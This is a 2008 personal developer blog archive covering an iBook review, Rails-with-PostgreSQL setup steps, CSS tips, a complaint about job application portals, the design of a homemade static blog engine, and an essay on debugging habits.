- I wrote a review of my iBook when I first got it years ago. Going back and reading it, I feel that all my statements are still relevant. What's more, my iBook works better than when I first got it! Complaints that still apply: uneven lighting to LCD, dim LCD. Definitely not bright enough for outdoor use. Upgrading HDD made it slightly louder, but well worth the performance bump. I might switch to a macbook at some point, but the iBook is fantastic so far. Update: Coupa has given me a Macbook. Maybe I'll write a comparison review to it someday. Update: Back to my iBook, tempted to get a Macbook Air or a Pro.

Setup Rails with Postgresql

Jerry Cheung — Tue, 5 Feb 2008 00:00:00 +0000

Everytime I set up a Rails project, there are many braindead steps that need to be followed. Instead of doing a web search each time I need to get an app setup, I follow these simple sequence of instructions.

The first thing to do is to create the rails directory structure. Many Rails tutorials assume SQLite or MySQL. Here in ivy covered UC Berkeley, our database of choice is Postgresql.

rails --database=postgresql myapp

Postgresql

(as postgres admin user)
psql template1

create role myapp with createdb login password 'myapp';  // 'login' is optional if you plan to use psql
// with newer versions of Rails, 'rake db:create:all' will create all the databases listed in config/database.yml
select * from pg_user;    // verify user created
select * from pg_shadow;  // sysid listed here
create database myapp_development owner myapp;
create database myapp_test owner myapp;
create database myapp_production owner myapp;

(in RAILS_ROOT)
rake db:migrate

If rake complains that it can't load the file 'postgres', then you are missing the postgresql database adapter. You can get it via:

sudo gem install pg

If that fails, read the wiki page about it. For the lazy, you can simply install the slower pure ruby adapter 'postgres-pr'

The 'postgres' gem is unmaintained, and a new fork of the project 'pg'.

Config

Keep your database.yml DRY. Edit database.yml as follows:

common: &common
  adapter: postgresql
  username: myapp
  password: password # from psql setup, see Postgresql

development:
  <<: *common
  database: myapp_development

test:
  <<: *common
  database: myapp_test

production:
  <<: *common
  database: myapp_production

Subversion

The following keeps your repository squeaky clean:

mv myapp myapp-tmp
mkdir -p myapp/{branches,tags}
mv myapp-tmp myapp/trunk
cd myapp/trunk
rm -rf log/* tmp/*
mv config/database{,-example}.yml
svn ps svn:ignore '*' log
svn ps svn:ignore '*' tmp
svn ps svn:ignore 'database.yml' config

Updating Stuff

To update rails, do

sudo gem install -y rails

CSS Tips and Tricks

Jerry Cheung — Tue, 5 Feb 2008 00:00:00 +0000

These aren't organized in any way for now. Maybe when I collect enough of them, I'll create a cookbook of some kind.

Centering within a Block Element

Le Awesome!

Poo poo!

Clearing Block Elements

The clear attribute of block elements specify whether anything can occur to the left or right or both (either side) of a block element. For example, if a div has 'clear: left' set on it, then no element will be allowed to be left of it. If there is, then the cleared element will be pushed down to the next line.

Spacing

Spacing is really important and can be hard to remember at first, but it's really intuitive after you learn it:

  Margin
  +-----Border---------------------------------------+
  |           Padding                                |
  |                                                  |
  |     Content                                      |
  |                                                  |
  |                                                  |
  |                                                  |
  |                                                  |
  |                                                  |
  +--------------------------------------------------+

Infuriating Job Applications

Jerry Cheung — Thu, 31 Jan 2008 00:00:00 +0000

Spring is in the air, but instead of allergies, I'm seeing my peers being hit hard by job anxieties. Thanks to this gloomy weather, I've been on top of my job applications. That isn't to say that every day has been a merry job hunt. Normally I would've just let the small things slide, but it's time to be more frank. When companies come to a career fair, they have just as much at stake as the people they're hiring. What surprises me is how oblivious certain companies are to how they're damaging their own reputation. Here's a rundown of what can use improvement.

Lack of Enthusiathism

I understand that being a recuiter is difficult. You have to talk all day, have good candidates and bad, and repeat the same elevator pitch and answer the same questions. It sucks. I understand that. But showing fatigue and lack of interest isn't the way to go. People are watching, and you're representing your company. Show some enthusiam!

On the polar opposite are the recruiters who are too grabby. I'd much rather see this than the former, but this can also get annoying. If you can sense that candidate you're talking to isn't interested, or wouldn't be a great match for your company, why waste the opportunity to meet the eager guy waiting to talk to you?

Two Faced Tactics

Give the same spiel to everyone and make everyone comfortable. The day's hectic enough as it is without extra misinformation. It doesn't help if you tell different stories to different people. I noticed a few companies brought along recruiters who had only just started. When I'd ask them questions, sometimes they would answer differently than their coworkers, or not be able to answer at all.

Outsourcing your Hiring

I think outsourcing's a fantastic idea. The company saves time and money and can focus on their business and products. But for pete's sake, check on who you're outsourcing to see if they're doing a good job! I think both Facebook and Garmin dropped the ball on this one by using Taleo. I'm not sure who to point fingers at, but the problems I saw with the application submission was laughably bad.

Garmin

The job application site didn't render properly in non-IE browsers.
The site looked like sh*t in IE.
The site would break randomly and scroll the page funny at times.
The site REQUIRED my FULL NAME and SOCIAL SECURITY NUMBER in order to submit my application. What's worse, it didn't even use SSL. Yep, guess what, my SSN is 111-11-1111.

Facebook

A badly attached resume gives me a cryptic corrupt error message without any gesture to try again or remedy the problem.
The password they ask for doesn't allow '@'. Why is this?

The password I enter is stored in PLAINTEXT. Thankfully, I've learned to set a initial dummy password to ensure a site at least hashes my password before I submit a legit password. superpassword for the win!

The Pros

Ratting on recuiters isn't very nice. I understand they have it hard too. I really do appreciate the little things and I definitely do remember these impressions when I go home to follow up. It was nice that the Oracle recruiter remembered me and made some small talk with me even though I already saw her a couple weeks ago. It's nice to be contacted within the time a recruiter says.

Flaco Blog

Jerry Cheung — Sun, 27 Jan 2008 00:00:00 +0000

A while back I was chatting to Arthur and bitching about all the various blog systems. To date, I've tried a wide cross section of them and found them all to be inadequate. Arthur's proposed solution was to write his own. I shied away from that notion until a few days ago. Then I finally caved and started thinking about doing my own.

Requirements

It's only in the past year or so that I've viewed blogging as a public activity. Previously, I used it more as a personal journal even if others peeked in. My first exposure was the trashy, but extremely functional Xanga. I didn't care very much about web standards or design early in high school, so Xanga was quite good to me. It was free, customizable, and all my friends used it. My relationship with Xanga went sour when I tried to screen-scrape all my posts with WWW::Mechanize. It worked ok, but it made me realize how shitty the HTML was and that there could be better.

control and manipulation of my own data.

Sometime after that I had a brief stint with LiveJournal. I lacked motivation to keep it up, but I liked the external clients, and open source nature of LJ.

external clients / API
clean look

I really dislike writing markup, and I also despise looking at markup. Neither was avoidable with other systems. Writing markup by hand was tedious and often resulted in erroroneous markup. Once you've written the markup, it's nice to know that the data is transformable with XSLT.

simplicity
web standards
easily transform data

Writing a blog with just plain text and not blog management system is also a lost cause. Once you get over a certain number of posts, it's hard to manage the permalinks by hand. There's also lots of duplicated HTML that would best be abstracted into templates. On top of that, it's important to have a way for users to give feedback about your articles.

comments system
templating system
automation of publishing tasks
"Don't Repeat Yourself" design

Design

With these points in mind, I looked to create my ideal blog management system. Plain text will be used to manage storage for maximum future-proofing, and minimal software requirements. The implementation language of choice is a hybrid of Perl, Bash, and anything that fits in the future. For the sake of simplicity and at the expense of customization, I've opted for enforcing a hardcoded directory hierarchy:

articles/
  YYYY/
    MM/
      DD/
        title/
          index.draft
          index.text
          index.html
          images
          stylesheets
          .config/
            override default options
          .meta/
            tags, word count, etc

This keeps each individual article self-contained. Rather than model a data structure for what an article is, I've made the structure implicit in the way the data is stored. This idea separates the system from the data so that the data makes sense standalone. You could argue that I duplicate this into a schema for some database, but why would I need one?

The .text and .html is carried over from my earlier text-based blog system. The best web word processor is Markdown. It lets you write in any editor you want and has syntax rules that become natural almost instantly. This freed my eyes from staring at markup and also gave me very clean XHTML and other formats as needed. The editor and external client was solved free of charge by Emacs and ssh. Intermdiate articles can be saved with a .draft extension.

As far as comments go, I plan to write it as a separate system with an public API. There's no reason to make a blog-specific comment system when I can create one that can be used anywhere. This also removes a huge chunk of complexity involved with fighting spam that I really don't feel belongs in a blog system. This guy will come later.

Templating

As I'm writing this, one annoying piece of the system has cropped up: the templating system. This puts me in a sticky spot because using an existing templating system would introduce more bloat than I'd like, but writing my own simplistic templating system sounds tricky. At the moment, all I need is a declarative way of piecing together snippets of HTML. My favorite option so far is to match the path of a file to be published against a set of rules to determine which template to use. The actual template will be a simple perl script that takes the content to be embedded as input and spit out a laid out version. The downside of this is the assumption that there will be only be one snippet to be inserted within a template. This is limiting, but can be fixed by adding options so that the layout script knows what is given. For example:

perl article.layout --content=articles/2008/01/29/foo/index.html
                    --header=includes/head.html
                    --footer=includes/foot.html

it'd be nice to have a generator script to scaffold a generic template:

script/generate layout article [header,content,footer]

Update: I've been working with TemplateToolkit for work, and I've found it to be very easy to use, but not bloaty.

Headlines and Blurbs

This one's a bit of a bummer because none all the solutions I come up with are tradeoffs. The slowest and most accurate solution is to have the author of articles fully specify the headline and blurb. There could be separate markup at the top of a file, or put into separate files. Basically, this involves adding more structure to the writing and more logic to handle this structure. This idea doesn't mix well with my goal of uber-simplicity.

Instead I opted for an approach that sacrifices some generality. I notice that all articles that I like usually involve an engaging headline followed by an abstract. So I figure it's fair for me to look through either the source .text or markdowned .html for an h1 headline, and the first paragraph. The exit strategy is straightforward because it's a simple map of a function over a list or articles. No biggie.

Dynamic Content

Since I've chosen such an extreme of simplicity and speed, it will be very challenging to have dynamic content. Once a set of articles has been published, they are simple static pages. This makes tasks such as pagination, grouping articles by tags, and search non-trivial. I see two solutions to this problem. One way is to mimic Blogger by generating the dynamic content and flattening those into static pages. Another is to build a separate service to generate the content and reference the service from the static pages. Reference can be done with AJAX or server side includes. I prefer the server side includes because it does not assume the client to have javascript, but don't like the idea of turning on SSI's because each page load would require Apache to scan for SSI directives.

Pre-generating and Flattening out dyanmic content will only get me so far. Hopefully it'll be far enough :)

Performance

Performance-wise, I want this system to be fast. How fast? Here are my design goals:

Operation	Running Time	Storage
View an article	O(1) - as fast as it takes to serve a static page	O(2n + m) - where n is the number of words in an article. Each article will be kept in both Markdown and XHTML format. The extra m factor stands for the extra templating markup, but is pretty insignificant. I'm trading off a bit of storage for best-case speed.
Write an article	O(1) - Emacs ftw!	N/A
Publish articles	O(n) - where n is the number of articles to publish. The script uses 'GNU find' and command line options to only publish and generate needed content	Some meta information about the articles are created, so a bit of extra space is needed. Again, pretty insignificant.

For now, I have no ambition of making this system scale, but I'm smug with the knowledge that it will scale. ZFS immediately comes to mind. I can imagine publishing as a bottleneck, but clever uses of 'find', 'locate' and meta information can minimize these operations. Another storage consideration is how wasteful it would be to duplicate common HTML snippets across articles. Headers, footers, and sidebars are good examples of this. My take on this issue is: Care when it matters. My own personal use case is to have meaty articles with minimal fluff snippets. For me, the benefits of having blazing fast page views outweighs the negative of wasted storage. I call it "Lazy Pre-Evaluated Caching", or LPEC for short. On the other hand, I can see how saving space can lead to more articles being stored in memory. My exit strategy, should it ever be needed, is to LPEC the most popular pages, and leave rarely viewed pages in un-markdown'ed source .texts.

For maintenance, I want it all. I don't want the code to be obsolete, and I definitely don't want my data to suffer bitrot. By using a hybrid of languages and frameworks, I get the best of each and guarantee easy replace of any subsystem if a better solution arises.

Update: That last bit was too vague for my tastes. Most of the system will be written in Perl so I can beef up some of my Perl-fu. I doubt anything will feel slow, but I might use XS just to play with it.

Common tasks can be described with Rake and to automate these tasks, I'll periodically run them from cron. Here's what I have in mind for a basic publish_all task

# month  hour  day-of-month month day-of-week   command
0    4    *    *    *    ~/portfolio/publish_all

Update: There will be options in the 'publish' command that allows users to filter what they want to publish.

Data Models

I plan to use the file hierarchy and file names as an encoding of the data. However, from a programatic perspective, it makes more sense to have an API to manipulate this data. This also makes it easy to transform the data into any other storage backend as needed.

Article

An article is a source un-markdowned entry. It keeps state for everything that describes an article and is implemented as a self-contained folder.

State

title
blurb
year, month, day
path - the root directory of the self-contained article.

Methods

<=> - date compare to another article
to_html
to_xml
to_* - meta-method for arbitrary formats? This is probably overkill.

Template

Object used to transform and layout objects. Each template type expects arguments of the things they need in order to lay out themselves. For example, an ArticleHTMLTemplate may require 'stylesheets', and 'articles', whereas an ArticleXMLTemplate may only require 'articles'.

Logic + Glue

I didn't want to call it controllers, but I'm thinking of it in a MVC kind of way.

Notes

I'm keeping some bullets here for updating later.

thinking about the different use cases definitely revealed a pattern for processing articles. A key observation I noticed is that there are two types of operations: taking an article as input, doing something, and spitting out a result. The other is to take a list of articles as input, do something, and spit out a single result.
using Moose as the object system to represent an article. Update - I've decided against this because it's too fancy.
markdown has an annoying feature that it will wrap multi-line 'li' content in a 'p' tag. I fixed this by styling 'li p' to be inline. This is still valid xhtml and still makes markup sense.
rebuilding the pages that are indicies for lists of articles requires rebuilding all of the indicies. This does scale, so I've been toying with the idea of keeping a B-tree of published entries. There needs to be meta files to keep track of how many entries are in what pages. When a page gets too full, it gets split into two separate pages; When a page gets too empty, it gets joined with it's neighbor. When publishing, it means that only specific pages are being rebuilt, rather than all index pages.

Status

2008-05-03: pagination! atom feed!

Shoot em up Debugging

Jerry Cheung — Sat, 26 Jan 2008 00:00:00 +0000

Debugging is like a video game. Unfortunately, it's the meanest video game you will ever play. The objective is to destroy bugs, but each destroyed bug will only reveal more sinister bugs with more health, greater mana, and better AI. After you've smooshed all the trivial syntax buggers, a whole new species evolves and leaves you fighting a being as intelligent as yourself. That fleeting sense of accomplishment that you felt the first time you vanquished a missing semicolon quickly melts into a never-ending nightmare of software maintenance.

Is there no hope at all? Are we all doomed to play this never-ending and un-winnable game? Well, not really. At least, I sincerely hope not. Thankfully the rewards are great, and who knows what the next bug-boss will be like?

Prevention

The first step to kicking bug-ass is to minimize the number of bugs. It doesn't matter how great you are at finding mistakes after the fact, it's much more rewarding to write a system and have it work to spec the first time around. Creating fewer bugs also keeps you focused on writing real code and the big picture rather than chasing down silly obscurities.

Better Design

Everyone messes this one up. I'm just as guilty as the next guy when it comes to starting to code too early and digging myself into a hole. Take your time and think. Don't think with a computer, just grab some coffee and doodle on some napkins. It's amazing how detrimental a computer and Internet can be for this. They'll only lead you to all kinds of minutia you shouldn't worry about. It's as if you're creating bugs before you even have an idea of what you need to do. You can't win like that!

Better Components

As you're designing, it's always good to start classifying your components and modules. Don't try to abstract everything into pez-sized libraries. Simply make a note to remind yourself when it's possible and revisit these notes when needed.

Make sure to challenge your own bias and assumptions. The more you play devil's advocate, the less chance those bugs will have to surprise you. It's MUCH better to predict a bug rather than to have one sneak in an infinite loops when you're not looking.

Challenge your interfaces. Check your input, and output for consistency. Will your code degrade gracefully when something doesn't work? Will it notify somebody? Am I trying too hard here? Am I making assumptions because I don't understand the problem?

A great way to see if you've covered all cases is to run it by a friend.

Better Testing

The absolute low point of every developer's life isn't when they're stuck. It isn't when a system fails; It isn't even when we pass out on our keyboards after that 3rd all-nighter.

No. The lowest we succumb to is sitting in front of a terminal, stepping through a jillion lines of code.

Debuggers are meant to help you, but I can't help but see them as a very very expensive crutch. That's because people use them when they shouldn't. When you're stepping through all those lines and praying to see some anomaly, you're a goner. Instead, you should identify the naughty component and test it. Testing beats stepping any day of the week. If designed with testability in mind, then woot. Otherwise if you're given a giant monolithic beast of a legacy system, try black box tests. Remember that testing doesn't require a fancy harness or framework, but make a honest effort to make your tests available and repeatable.

Tools

Prevention can only get you so far. When stuff starts crashing and the cause is not immediately obvious, hunker down with some tools.

Be wary of tools. There are always too many choices, and most will offer more configuration than usefulness. Always weigh the benefits before you install the latest and greatest. If GNU make does everything you want, and you're comfortable with it, look long and hard before switching over to the 'next big thing'. Don't say I didn't warn you if an afternoon goes by and you have a half-configured build system.

Automation of tests with CruiseControl or similar systems is fantastic, but are only as useful as the tests that are written. Given limited resources, prioritize quality of tests over automation.
Profiling code for performance, leaks, and bugs are a great way to catch bugs that aren't mission critical now, but could get nasty in the future. To be honest, I don't have much experience in this arena. I hear Valgrind is pure black magic though.
I hate debuggers. Graphical or otherwise, there's just a ton of information spewing at you, and if you're stepping line by line and you missing a line, you have to start over. If you get tired, just stop. There's no benefits to blankly staring at a call stack when your head goes numb. Go have a lollipop instead.
Learn to avoid using logging frameworks for debugging. You're logging output will grow, and digging through log output is the same type of misery as going through a debugger. Use logging as a form of notifying the user. Use testing to verify correctness.

Conclusion

Debugging is a nasty topic. A big reason why software engineers are paid so much is because of the pain it takes to maintain and debug software. But I believe that bugs aren't a lost cause, and with the right attitude and habits, it might be more game than chore.

Now if you'll excuse me, I have to go tackle some decade-old crufty Perl.